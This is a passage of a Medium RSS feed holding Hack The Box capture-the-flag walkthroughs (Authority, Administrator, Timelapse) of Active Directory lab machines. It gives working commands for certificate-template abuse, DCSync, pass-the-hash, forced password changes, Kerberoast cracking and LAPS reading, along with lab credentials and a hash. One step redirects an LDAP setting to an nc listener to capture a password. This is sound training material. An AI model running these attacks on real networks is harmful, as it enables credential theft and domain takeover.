authority.htb, Site: Default-First-Site-Name)<br>|_ssl-date: 2026-05-28T17:28:57+00:00; +4m11s from scanner time.<br>| ssl-cert: Subject: <br>| Subject Alternative Name: othername: UPN:AUTHORITY$@htb.corp, DNS:authority.htb.corp, DNS:htb.corp, DNS:HTB<br>| Not valid before: 2022-08-09T23:03:21<br>|_Not valid after:  2024-08-09T23:13:21<br>3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: authority.htb, Site: Default-First-Site-Name)<br>| ssl-cert: Subject: <br>| Subject Alternative Name: othername: UPN:AUTHORITY$@htb.corp, DNS:authority.htb.corp, DNS:htb.corp, DNS:HTB<br>| Not valid before: 2022-08-09T23:03:21<br>|_Not valid after:  2024-08-09T23:13:21<br>|_ssl-date: 2026-05-28T17:28:56+00:00; +4m10s from scanner time.<br>5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)<br>|_http-title: Not Found<br>|_http-server-header: Microsoft-HTTPAPI/2.0<br>8443/tcp  open  ssl/http      Apache Tomcat (language: en)<br>| ssl-cert: Subject: commonName=172.16.2.118<br>| Not valid before: 2026-05-26T17:25:28<br>|_Not valid after:  2028-05-28T05:03:52<br>| tls-alpn: <br>|_  h2<br>|_ssl-date: TLS randomness does not represent time<br>|_http-title: Site doesn&#39;t have a title (text/html;charset=ISO-8859-1).<br>9389/tcp  open  mc-nmf        .NET Message Framing<br>47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)<br>|_http-server-header: Microsoft-HTTPAPI/2.0<br>|_http-title: Not Found<br>49232/tcp open  msrpc         Microsoft Windows RPC<br>49664/tcp open  msrpc         Microsoft Windows RPC<br>49665/tcp open  msrpc         Microsoft Windows RPC<br>49666/tcp open  msrpc         Microsoft Windows RPC<br>49667/tcp open  msrpc         Microsoft Windows RPC<br>49673/tcp open  msrpc         Microsoft Windows RPC<br>49690/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0<br>49691/tcp open  msrpc         Microsoft Windows RPC<br>49693/tcp open  msrpc         Microsoft Windows RPC<br>49694/tcp open  msrpc         Microsoft Windows RPC<br>49703/tcp open  msrpc         Microsoft Windows RPC<br>49714/tcp open  msrpc         Microsoft Windows RPC<br>Service Info: Host: AUTHORITY; OS: Windows; CPE: cpe:/o:microsoft:windows<br><br>Host script results:<br>| smb2-security-mode: <br>|   3.1.1: <br>|_    Message signing enabled and required<br>|_clock-skew: mean: 4m10s, deviation: 0s, median: 4m09s<br>| smb2-time: <br>|   date: 2026-05-28T17:28:50<br>|_  start_date: N/A<br><br>Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .<br>Nmap done: 1 IP address (1 host up) scanned in 83.23 seconds</pre><p>Ports 80 and 8443 are open. Let’s check them first.There is a default IIS page on port 80.There is a default IIS page on port 80. There is a PWM application on port 8443. When the page loads, it says that the application is in configuration mode.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wL127tCVINOQHRc4vZShFA.png" /></figure><p><strong><em>NOTE:<br></em></strong><em>PWM (Password Self Service) is an open-source password management application that integrates primarily with LDAP-based central directory systems such as Active Directory (AD), OpenLDAP, or Novell eDirectory.</em></p><p>A password is required when accessing the “Configuration Manager” or “Configuration Editor”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/882/1*MLE0Rx31MW4QXKZ2HxtlLQ.png" /></figure><p>SMB enum:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kLA5ucPzVPoxz-K9UGKAHg.png" /></figure><p>We can see the non-default <strong>Development </strong>share. Let’s connect to this share.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Dc0_mjYz-9nx6cw9FoxbLg.png" /></figure><p>Let’s download all the files:</p><pre>prompt off<br>recurse on<br>mget Automation</pre><p>There are <strong>encrypted passwords</strong> in the <strong>main.yml </strong>file in the <strong>default </strong>folder. We can write these to separate files and crack them with ansible-vault.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/948/1*Tuw-LiwKOFUnelkCpqY5ZA.png" /></figure><p>Here is the admin username and password for PWM and ldap password.</p><p>First, let’s get the vault password into a format that can be used by john.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jxG32yaZ5BfFjr_-ESqBKA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PJc7c4tnHp5ZedbpekYrZQ.png" /></figure><p>If we do it for others, the same password will be used.</p><p>Now that we have the master password, we can decrypt it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/835/1*kOPKG0tyGLnoE70czugQRA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/598/1*b9odZJ2xgkHZSgUMl0rNyg.png" /></figure><p>You can log in by typing the <strong>pwm_admin_password </strong>value into the Configuration Editor.</p><p>We can see the username in the LDAP Proxy User section.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/646/1*f-uTIf00lsgKxUc_5c-i8g.png" /><figcaption>username</figcaption></figure><p>Then navigate to<em> LDAP →LDAP directories →default →Connection</em> and change the LDAP URL to your own address. Listen to the port you specified in the URL with nc. When you click Test LDAP profile, you will be able to see the password in the terminal.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/610/1*lHDKQYUP4qpV90m_Roeq5g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/855/1*iVVYLzjCcJXAxHTBHCSMqw.png" /></figure><p>Let’s check what we have access to with this user in AD.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dmUPe9tfQDxUmJDkS5J4-g.png" /></figure><p>Let’s connect with winrm.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/570/1*zNMDAaKkuZ2MGdC3gs3UIw.png" /></figure><p>There was an ADCS folder between the SMB Shares. So I decided to check the certificate templates:</p><pre>certipy-ad find -u &#39;svc_ldap&#39; -p &#39;lDaP_1n_th3_cle4r!&#39; -dc-ip 10.129.5.228  -vulnerable -enabled</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0e0BpdItzysHG_1nW5UoUA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7_CUFkuZS1Gb1PiK4yPGdg.png" /></figure><p>From the image above, we can see that the <strong>CorpVPN </strong>template has the <strong>ESC1 </strong>vulnerability. However, only “<strong>Domain Computer</strong>” “<strong>Domain Admins</strong>” and “<strong>Enterprise Admins</strong>” have <strong>Enrollment </strong>rights.The <strong>svc_ldap </strong>user is not a member of any of these groups.</p><p>In AD, each user has the right to add up to <strong>10 </strong>computers to the domain. That is, if we create a computer account, it will be added to the “Domain Computers” group by default. And this is how we can exploit the ESC1 vulnerability.</p><p>Let’s add a new Computer to the domain.</p><pre>impacket-addcomputer authority.htb/svc_ldap:&#39;lDaP_1n_th3_cle4r!&#39; -computer-name fakepc -computer-pass &#39;Passw0rd!&#39; -dc-ip 10.129.5.228</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rg4ff2i8ygVHbWWghdr8DA.png" /></figure><p>Now we can request an <strong>administrator certificate </strong>with the newly created computer account:</p><pre>certipy-ad req -u &#39;fakepc$&#39; -p &#39;Passw0rd!&#39; -dc-ip 10.129.5.228  -ca AUTHORITY-CA -target &#39;authority.authority.htb&#39; -template &#39;CorpVPN&#39; -upn &#39;administrator@authority.htb&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*W4P9YY3T0bpjPTF2T2aGoQ.png" /></figure><p>Extracting the administrator NTLM hash:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aKXPAmbVdTZ9c4PtcIBOkA.png" /><figcaption>KDC_ERR_PADATA_TYPE_NOSUPP</figcaption></figure><p>But we are getting the KDC_ERR_PADATA_TYPE_NOSUPP error. Because the DC does not support PKINIT.</p><blockquote><strong>Pass The Certificate</strong></blockquote><p>Tool: <a href="https://github.com/AlmondOffSec/PassTheCert/tree/main/Python">https://github.com/AlmondOffSec/PassTheCert/tree/main/Python</a></p><p>We extract the <strong>private key</strong> and<strong> public certificate </strong>from the administrator’s certificate file and use them to grant <strong>DCSncy</strong> (Replication) rights to the <strong>svc_ldap </strong>user. Then, we extract the user hashes with<strong> svc_ldap.</strong></p><p>Extracting <strong>key </strong>and <strong>public certificate</strong> from the administrator’s certificate</p><pre>#public cert<br>certipy-ad  cert -pfx  administrator.pfx -nokey -out user.crt <br><br>#private key<br>certipy cert -pfx administrator.pfx -nocert -out user.key </pre><p>Grant <strong>DCSync </strong>rights to the <strong>svc_ldap </strong>user.</p><pre> python3 /root/tools/ADTools/passthecert.py -action modify_user -crt user.crt  -key user.key  -domain authority.htb -dc-ip 10.129.5.228  -target svc_ldap  -elevate </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nMP8YFXEP9qosK9W7rXTqQ.png" /><figcaption>Elevating user for DCSYNC</figcaption></figure><p>DCSync attack:</p><pre>impacket-secretsdump authority.htb/svc_ldap:&#39;lDaP_1n_th3_cle4r!&#39;@authority.htb </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PRINJVROIXWlJcIl7tC3Aw.png" /></figure><p>Pass-The-Hash Attack:</p><pre>impacket-psexec authority.htb/administrator@10.129.5.228 -hashes aad3b435b51404eeaad3b435b51404ee:6961f422924da90a6928197429eea4ed</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BimDIL7vuPu0bQWigLij9w.png" /><figcaption>system pwn3d</figcaption></figure><p>If I make any mistakes, don’t hesitate to let me know.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d59d7cd5c21c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HTB: Administrator]]></title>
            <link>https://medium.com/@s4m1r/htb-administrator-aa09014f474f?source=rss-d41e44d03d56------2</link>
            <guid isPermaLink="false">https://medium.com/p/aa09014f474f</guid>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[administrator]]></category>
            <category><![CDATA[acl-abuse]]></category>
            <category><![CDATA[ad-pentesting]]></category>
            <category><![CDATA[administrator-htb]]></category>
            <dc:creator><![CDATA[Nazarov Samir]]></dc:creator>
            <pubDate>Wed, 27 May 2026 13:58:43 GMT</pubDate>
            <atom:updated>2026-05-27T13:58:43.767Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/800/0*8cvK9yvRaU3heoOV" /></figure><p>Hello everyone. Today I want to share the technical solution for the medium level Administrator box in HTB.</p><p>Machine Link: <a href="https://app.hackthebox.com/machines/Administrator">https://app.hackthebox.com/machines/Administrator</a></p><p>Just like in real-life pentests, you are given a low-privileged user: <br><strong><em>Olivia : ichliebedich</em></strong></p><blockquote><strong>Enumeration:</strong></blockquote><p>Nmap scan:</p><pre>nmap -sCV -p- -T4 --min-rate 10000 10.129.5.72  -oN nmap_result<br>Starting Nmap 7.98 ( https://nmap.org ) at 2026-05-27 14:33 -0400<br>Warning: 10.129.5.72 giving up on port because retransmission cap hit (6).<br>Stats: 0:00:21 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan<br>Service scan Timing: About 56.00% done; ETC: 14:33 (0:00:06 remaining)<br>Nmap scan report for Administrator.htb (10.129.5.72)<br>Host is up (0.082s latency).<br>Not shown: 65451 closed tcp ports (reset), 59 filtered tcp ports (no-response)<br>PORT      STATE SERVICE       VERSION<br>21/tcp    open  ftp           Microsoft ftpd<br>| ftp-syst: <br>|_  SYST: Windows_NT<br>53/tcp    open  domain        Simple DNS Plus<br>88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-05-27 18:53:44Z)<br>135/tcp   open  msrpc         Microsoft Windows RPC<br>139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn<br>389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: administrator.htb, Site: Default-First-Site-Name)<br>445/tcp   open  microsoft-ds?<br>464/tcp   open  kpasswd5?<br>593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0<br>636/tcp   open  tcpwrapped<br>3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: administrator.htb, Site: Default-First-Site-Name)<br>3269/tcp  open  tcpwrapped<br>5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)<br>|_http-server-header: Microsoft-HTTPAPI/2.0<br>|_http-title: Not Found<br>9389/tcp  open  mc-nmf        .NET Message Framing<br>47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)<br>|_http-title: Not Found<br>|_http-server-header: Microsoft-HTTPAPI/2.0<br>49664/tcp open  msrpc         Microsoft Windows RPC<br>49665/tcp open  msrpc         Microsoft Windows RPC<br>49666/tcp open  msrpc         Microsoft Windows RPC<br>49667/tcp open  msrpc         Microsoft Windows RPC<br>49668/tcp open  msrpc         Microsoft Windows RPC<br>58835/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0<br>58846/tcp open  msrpc         Microsoft Windows RPC<br>58851/tcp open  msrpc         Microsoft Windows RPC<br>58865/tcp open  msrpc         Microsoft Windows RPC<br>61148/tcp open  msrpc         Microsoft Windows RPC<br>Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows<br><br>Host script results:<br>| smb2-security-mode: <br>|   3.1.1: <br>|_    Message signing enabled and required<br>| smb2-time: <br>|   date: 2026-05-27T18:54:42<br>|_  start_date: N/A<br>|_clock-skew: 20m27s<br><br>Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .<br>Nmap done: 1 IP address (1 host up) scanned in 83.46 seconds</pre><p>Since we now know from the nmap scan that our domain is <strong>administrator.htb</strong>, we can update the hosts file:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/609/1*Aewa9T0doMRYkOsMgMWK6Q.png" /><figcaption>hosts file</figcaption></figure><p>Let’s see what we are allowed to do on the network with the provided credentials:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*giGciVXpvavmomxzQWtSNw.png" /></figure><p>Let’s map the domain with bloodhound and look for misconfigured permissions for user <strong>olivia </strong>on objects within the domain.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9YC1ko9Wj_LLdp9pb7fKQA.png" /></figure><p>You can see that the “<strong>First Degree Object Control</strong>” attribute in the “<strong>Outbound object control</strong>” section between the data of the user Bloodhound and <strong>olivia </strong>has a value of <strong>1</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/474/1*x8yem93Uth1ZjU7oXOIEvw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*psD_SMhYb7DIhLCvUVk3YA.png" /></figure><p>From the image above, we can see that user <strong>Olivia </strong>has the <strong>GenericAll </strong>privilege on user <strong>micheal</strong>. You can right-click on the privilege and see the help for the exploitation rule.</p><p><strong><em>NOTE:</em></strong><br><em>GenericAll is the broadest and most dangerous type of permission you can have on an object in an Active Directory (AD) environment. Simply put, it is Full Control over the target object.</em></p><p>Let’s connect to user <strong>olivia </strong>with <strong>evil-winrm</strong> and change the password for user <strong>Michael</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Yt-_Kx9vpbumMknXHDsJ8g.png" /></figure><p>Let’s confirm that the password was changed successfully:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6Re1P8ac_H6UgdSh1Pxh9g.png" /></figure><p>Now let’s look for dangerous permissions for the user <strong>michael </strong>with bloodhound:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/471/1*aV8mgOl6hgQ40ongnXJ_Ag.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/738/1*GhA1SacDLvyuVMjZe7DlkQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/587/1*tBgqzJju1yWLqj6waCNw7g.png" /><figcaption>ACL abuse</figcaption></figure><p>In the images above, we can see that the user michael has <strong>ForceChangePassword </strong>permission on the user <strong>benjamin</strong>.</p><p><strong>NOTE:</strong><br><strong><em>ForceChangePassword </em></strong><em>is a special object permission (Extended Right) within Active Directory (AD). This permission allows a user to directly set a new password for another targeted user without knowing or entering the old password.</em></p><pre>net rpc password &quot;benjamin&quot; &#39;Passw0rd!&#39; -U &#39;HTB\michael%Passw0rd!&#39; -S 10.129.5.72</pre><p>Let’s confirm that the password was changed successfully:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*09BGr3A0mgfZxFiPNbvYVg.png" /></figure><p>Since we have now captured the user <strong>Benjamin</strong>, we can enumerate the user benjamin with bloodhound:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zbGLTajfykgIvzndXnVBkA.png" /></figure><p>In the image above, we can see that the user benjamin is a member of the SHARE MODERATORS group. And from the previous nmap scan, we know that ftp is running on port 21. This group gave me the impression that benjamin is the ftp user. Let’s check.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/971/1*Oa_-GjRZzElfNmLYKTOH1Q.png" /></figure><p>We can see that there is a <strong>psafe3</strong> file during ftp login.</p><p><strong>NOTE:</strong><br><em>A</em><strong><em> .psafe3</em></strong><em> file is an encrypted database file belonging to the popular and open-source password manager Password Safe.</em></p><p>When trying to open the file, it asks for the master password. To crack the file’s password with john, you can obtain the hash with pwsafe2john and crack it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/970/1*ejGB1mzVgxYo5_iNKUL-Og.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/994/1*_ZKu3DTZQ1AXmLzxHmV_fg.png" /></figure><p>Once we have found the password, we can open the file:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/1*s7I8-R78hdUndUsf5Ip32A.png" /></figure><p>We can see that there are 3 users. You can copy both the username and password by right-clicking on each one. I checked each one, but only the password of the user <strong>emily </strong>was correct.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YlWCUmxO_Kg7SB8aMkPBhA.png" /><figcaption>emily</figcaption></figure><p>When enumerating the user emily with Bloodhound, we can see that the user <strong>emily </strong>has <strong>GenericWrite </strong>permission<strong> on the user Ethan.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/589/1*8tqUlP40VWXZW7Ecj_lZHg.png" /><figcaption>TargetedKerberoast</figcaption></figure><p><strong><em>NOTE</em></strong><em>:<br>In an Active Directory environment, an attacker uses </em><strong><em>extensive rights</em></strong><em> (e.g. GenericAll, GenericWrite) to forcibly assign a fake service name (SPN) to a normal user account, making it a target for </em><strong><em>Kerberosting</em></strong><em>.</em></p><p>You can download the tool here: <a href="https://github.com/ShutdownRepo/targetedKerberoast">https://github.com/ShutdownRepo/targetedKerberoast</a></p><p>If you encounter this “<strong>KRB_AP_ERR_SKEW</strong>” error, run the following commands in the terminal:</p><pre><br>sudo timedatectl set-ntp off<br>sudo rdate -n &lt;dc_ip&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_7McQGgGF1CTS3TOhzuArA.png" /><figcaption>kerberoastable user</figcaption></figure><pre>hashcat -m 13100 kerberoast /usr/share/wordlists/rockyou.txt </pre><p><strong>Ethan </strong>user’s password : <strong><em>limpbizkit</em></strong></p><p>When looking at the permissions of the Ethan user with bloodhound, we can see that he has <strong>DCSync permission</strong> on the DC. With a DCSync attack, it is possible to extract user NTLM hashes from the DC.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8fLRLMPc2uoNwmUNexsbPw.png" /></figure><p>dcsync attack:</p><pre>impacket-secretsdump administrator.htb/ethan:&#39;limpbizkit&#39;@10.129.5.72</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gw0kBax17a7FJk7Tyt_zlg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5xZAgRWTeaEvUpXvyIuTzg.png" /><figcaption>system Pwn3d</figcaption></figure><p>That’s all for today. If I make any mistakes, don’t hesitate to let me know.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=aa09014f474f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HTB: Timelapse]]></title>
            <link>https://medium.com/@s4m1r/htb-timelapse-03fef7f17e95?source=rss-d41e44d03d56------2</link>
            <guid isPermaLink="false">https://medium.com/p/03fef7f17e95</guid>
            <category><![CDATA[ad-security]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[pla]]></category>
            <category><![CDATA[time-lapses]]></category>
            <category><![CDATA[hackthebox]]></category>
            <dc:creator><![CDATA[Nazarov Samir]]></dc:creator>
            <pubDate>Sun, 24 May 2026 15:58:29 GMT</pubDate>
            <atom:updated>2026-05-24T15:58:29.786Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*enX9GwqDX9wE0udm.png" /></figure><p>Hello everyone. Today we will look at the technical solution of the easy level Timelapse machine from HTB.</p><p>Machine link: <a href="https://app.hackthebox.com/machines/Timelapse">https://app.hackthebox.com/machines/Timelapse</a></p><blockquote><strong>Enumeration:</strong></blockquote><p>Nmap scan:</p><pre>nmap -sCV -p- -T4 --min-rate 10000 10.129.2.236  -oN nmap_result<br>Starting Nmap 7.98 ( https://nmap.org ) at 2026-05-24 07:42 -0400<br>Nmap scan report for 10.129.2.236<br>Host is up (0.11s latency).<br>Not shown: 65517 filtered tcp ports (no-response)<br>PORT      STATE SERVICE           VERSION<br>53/tcp    open  domain            Simple DNS Plus<br>88/tcp    open  kerberos-sec      Microsoft Windows Kerberos (server time: 2026-05-24 19:43:18Z)<br>135/tcp   open  msrpc             Microsoft Windows RPC<br>139/tcp   open  netbios-ssn       Microsoft Windows netbios-ssn<br>389/tcp   open  ldap              Microsoft Windows Active Directory LDAP (Domain: timelapse.htb, Site: Default-First-Site-Name)<br>445/tcp   open  microsoft-ds?<br>464/tcp   open  kpasswd5?<br>593/tcp   open  ncacn_http        Microsoft Windows RPC over HTTP 1.0<br>636/tcp   open  ldapssl?<br>3268/tcp  open  ldap              Microsoft Windows Active Directory LDAP (Domain: timelapse.htb, Site: Default-First-Site-Name)<br>3269/tcp  open  globalcatLDAPssl?<br>5986/tcp  open  ssl/wsmans?<br>|_ssl-date: 2026-05-24T19:44:55+00:00; +7h59m59s from scanner time.<br>| tls-alpn: <br>|   h2<br>|_  http/1.1<br>| ssl-cert: Subject: commonName=dc01.timelapse.htb<br>| Not valid before: 2021-10-25T14:05:29<br>|_Not valid after:  2022-10-25T14:25:29<br>9389/tcp  open  mc-nmf            .NET Message Framing<br>49667/tcp open  msrpc             Microsoft Windows RPC<br>49673/tcp open  ncacn_http        Microsoft Windows RPC over HTTP 1.0<br>49674/tcp open  msrpc             Microsoft Windows RPC<br>49697/tcp open  msrpc             Microsoft Windows RPC<br>54205/tcp open  msrpc             Microsoft Windows RPC<br>Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows<br><br>Host script results:<br>|_clock-skew: mean: 7h59m58s, deviation: 0s, median: 7h59m57s<br>| smb2-time: <br>|   date: 2026-05-24T19:44:19<br>|_  start_date: N/A<br>| smb2-security-mode: <br>|   3.1.1: <br>|_    Message signing enabled and required<br><br>Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .<br>Nmap done: 1 IP address (1 host up) scanned in 130.69 seconds</pre><p>As a result of the nmap scan, we can see that the domain is <strong>timelapse.htb</strong>. Therefore, let’s update the <strong>hosts </strong>file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/634/1*X3okqhtThuDBwRf4IKtlzA.png" /></figure><p>First, let’s look at smb share permissions as <strong>Guest</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ogjsUeuISyg37llvIAJqZw.png" /></figure><p>We have read permission to the non-default <strong>“Shares” </strong>share, so let’s connect with <strong>smbclient</strong>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/840/1*_bWkXlmu6vVjbY00agzsKA.png" /><figcaption>Shares</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/768/1*Z3YqFQiBh0l97tWpsZZ-EQ.png" /><figcaption>Dev folder</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/831/1*3wH_6f_GAkWg2cxDeAql3g.png" /><figcaption>HelpDesk</figcaption></figure><p>I downloaded all the files to Kali. There was nothing useful in the word documents and the msi package. The zip file was password protected.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/537/1*CFk0viAp4W9lU9AHAOGVoA.png" /></figure><p>Therefore, we extract the hash format that john can digest with <strong>zip2john</strong> and then brute force it with <strong>john</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5KpMPMB1g6Nd4S3bVm50tQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1015/1*RXUBud1XR-WW4fl3Huxtog.png" /></figure><p>When unzipping, we encounter a certificate file named <strong>legacyy_dev_auth.pfx</strong>.</p><p><strong><em>NOTE:</em></strong><em><br>Unlike normal certificates, the pfx file contains both a public key and a private key.</em></p><p>If we extract both files, we can connect with WinRM without a password. But it is still password protected. Let’s use <strong>pfx2john </strong>to get the hash of the file that can be cracked with john.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aFJUg1I2-NZeGbRpRzpr6g.png" /></figure><p>Obtaining the private key:</p><pre>openssl pkcs12 -in legacyy_dev_auth.pfx -nocerts -out key.pem -nodes</pre><p>Obtaining the public key:</p><pre>openssl pkcs12 -in legacyy_dev_auth.pfx -nokeys -out cert.pem</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/929/1*6dWON_YxGVkPDMkKUYL9UA.png" /></figure><p>Now that we have both keys, we can connect with <strong>evil-winrm</strong>.</p><pre>evil-winrm -i timelapse.htb  -c cert.pem -k key.pem -S</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Fwj9mQ8RomeDFxT8O7jV1A.png" /><figcaption>legacyy</figcaption></figure><p>If you look at that user’s powershell history, you can find the password for the <strong>svc_deploy </strong>user there.</p><pre>type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0kqj6YrsTDUMxCpxXZjdIw.png" /><figcaption>svc_deploy’s password</figcaption></figure><p>Now that we know the <strong>svc_deploy </strong>user and its password, we can map the domain with <strong>bloodhound </strong>and see what risky permissions we have on the <strong>svc_deploy </strong>user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BQ_KkibeQ6YtH46bQRvZfg.png" /></figure><p>After importing the zip file into <strong>bloodhound</strong>, search for and select the <strong>svc_deploy </strong>user, then click once to view the user information in the window that opens on the left.</p><p>Below, in the Outbound object control section, we can see that the Group Delegated Object Control value is 1. This is encouraging.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MmWFTFIuF0IgjAUkaH9yEg.png" /></figure><p>We can see in the image above that the <strong>svc_deploy </strong>user is a member of the <strong>LAPS_READERS </strong>group. This group has the <strong>ReadLAPSPassword </strong>permission on the DC.This means we can read the <strong>local administrator</strong>’s password.</p><p><strong><em>NOTE:<br></em></strong><em>LAPS (Local Administrator Password Solution) is a Microsoft tool that centrally, automatically, and securely manages the passwords of local Administrator accounts on all computers in an Active Directory (AD) environment.</em></p><blockquote><strong>Privilege Escalation</strong></blockquote><p>You can use the <a href="https://github.com/p0dalirius/pyLAPS"><strong>pyLAPS </strong></a>tool to extract the password from LAPS.</p><pre>./pyLAPS.py --action get -u &#39;svc_deploy&#39; -d &#39;timelaps.htb&#39; -p &#39;E3R$Q62^12p7PLlC%KWaxuaV&#39; --dc-ip 10.129.2.236</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*x-If1rj1u_fIMEkIV3rU9Q.png" /></figure><p>We can now connect to the DC as an administrator.</p><pre>impacket-psexec timelapse.htb/Administrator:&#39;9Q9%6]0NqU65v&amp;g-bg-l7to2&#39;@10.129.2.236</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/1*dnwBbBUer-juxUVTxEXRrA.png" /><figcaption>Pwn3d</figcaption></figure><p>Thank you for reading. If I make any mistakes, please let me know. See you in the next articles.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=03fef7f17e95" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HTB: Support]]></title>
            <link>https://medium.com/@s4m1r/htb-support-cc82485a67b3?source=rss-d41e44d03d56------2</link>
            <guid isPermaLink="false">https://medium.com/p/cc82485a67b3</guid>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[supporthtb]]></category>
            <category><![CDATA[ad-pentesting]]></category>
            <category><![CDATA[rbcd]]></category>
            <dc:creator><![CDATA[Nazarov Samir]]></dc:creator>
            <pubDate>Sat, 23 May 2026 18:29:40 GMT</pubDate>
            <atom:updated>2026-05-23T18:29:40.474Z</atom:updated>
